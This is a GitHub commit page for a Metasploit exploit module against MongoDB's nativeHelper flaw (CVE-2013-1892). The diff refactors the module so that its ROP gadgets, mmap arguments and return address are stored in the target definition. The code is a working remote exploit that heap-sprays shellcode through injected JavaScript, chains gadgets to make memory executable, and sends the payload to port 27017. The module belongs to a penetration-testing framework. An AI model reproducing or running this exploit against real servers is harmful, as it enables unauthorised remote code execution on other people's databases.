Skip to content

Commit 69fb465

Browse files
author
agix
committed
Put gadgets in Target
1 parent dee5835 commit 69fb465

File tree

1 file changed

+34
-22
lines changed

1 file changed

+34
-22
lines changed

modules/exploits/linux/misc/mongod_native_helper.rb

Lines changed: 34 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
class Metasploit3 < Msf::Exploit::Remote
1111

12-
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::Remote::Tcp
1313

1414
def initialize(info={})
1515
super(update_info(info,
@@ -27,10 +27,29 @@ def initialize(info={})
2727
[ 'CVE', '2013-1892' ],
2828
],
2929
'Platform' => ['linux'],
30-
'Arch' => ARCH_X86,
3130
'Targets' =>
3231
[
33-
[ 'mongod 2.2.3 - 32bits', { } ]
32+
[ 'Linux - mongod 2.2.3 - 32bits',
33+
{
34+
'Arch' => ARCH_X86,
35+
'mmap' => [
36+
0x0816f768, #mmap_64@plt
37+
0x0c0c0c0c, #NOPSLED+SHELLCODE
38+
0x0c0c0000,
39+
0x00001000,
40+
0x00000007,
41+
0x00000031,
42+
0xffffffff,
43+
0x00000000,
44+
],
45+
'ret' => [0x08055a70], #ret
46+
'gadget1' => "0x836e204", #mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
47+
#THIS GADGETS NEED TO BE COMPOSED WITH <0x80 BYTES ONLY
48+
'gadget2' => "\\x58\\x71\\x45\\x08", #xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
49+
'gadget3' => "\\x26\\x18\\x35\\x08", #add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
50+
'gadget4' => "\\x6c\\x5a\\x05\\x08", #pop eax / ret
51+
'gadget5' => "\\x58\\x71\\x45\\x08" #xchg esp,eax
52+
} ]
3453
],
3554
'DefaultTarget' => 0,
3655
'License' => MSF_LICENSE
@@ -39,8 +58,7 @@ def initialize(info={})
3958
register_options(
4059
[
4160
Opt::RPORT(27017),
42-
Opt::RHOST(),
43-
OptString.new('DB', [ false, "Database to use", ""]),
61+
OptString.new('DB', [ true, "Database to use", "admin"]),
4462
OptString.new('Collection', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
4563
OptString.new('Username', [ false, "Login to use", ""]),
4664
OptString.new('Password', [ false, "Password to use", ""])
@@ -77,29 +95,22 @@ def exploit
7795
end
7896
end
7997
print_status("Let's exploit, heap spray could take some time...")
98+
99+
my_target = target
80100

81101
shellcode = Rex::Text.to_unescape(payload.encoded)
82102

83-
mmap = [
84-
0x0816f768,
85-
0x0c0c0c0c,
86-
0x0c0c0000,
87-
0x00001000,
88-
0x00000007,
89-
0x00000031,
90-
0xffffffff,
91-
0x00000000,
92-
].pack("V*")
103+
mmap = my_target['mmap'].pack("V*")
93104

94-
ret = [0x08055a70].pack("V*")
105+
ret = my_target['ret'].pack("V*")
95106

96-
gadget1 = "0x836e204" #mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
107+
gadget1 = my_target['gadget1']
97108

98-
#THIS GADGETS NEED TO BE COMPOSED WITH <0x80 BYTES ONLY
99-
gadget2 = "\\x58\\x71\\x45\\x08" #xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
100-
gadget3 = "\\x26\\x18\\x35\\x08" #add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
101-
gadget4 = "\\x6c\\x5a\\x05\\x08" #pop eax / ret
102-
gadget5 = "\\x58\\x71\\x45\\x08" #xchg esp,eax
109+
110+
gadget2 = my_target['gadget2']
111+
gadget3 = my_target['gadget3']
112+
gadget4 = my_target['gadget4']
113+
gadget5 = my_target['gadget5']
103114

104115
shellcode_var="a"+Rex::Text.rand_text_hex(4)
105116
sizechunk_var="b"+Rex::Text.rand_text_hex(4)
@@ -132,6 +143,7 @@ def exploit
132143
payloadJS << 'nativeHelper.apply({"x" : '+gadget1+'}, '
133144
payloadJS << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);'
134145

146+
135147
request_id = Rex::Text.rand_text(4)
136148

137149
packet = request_id #requestID

0 commit comments

Comments
 (0)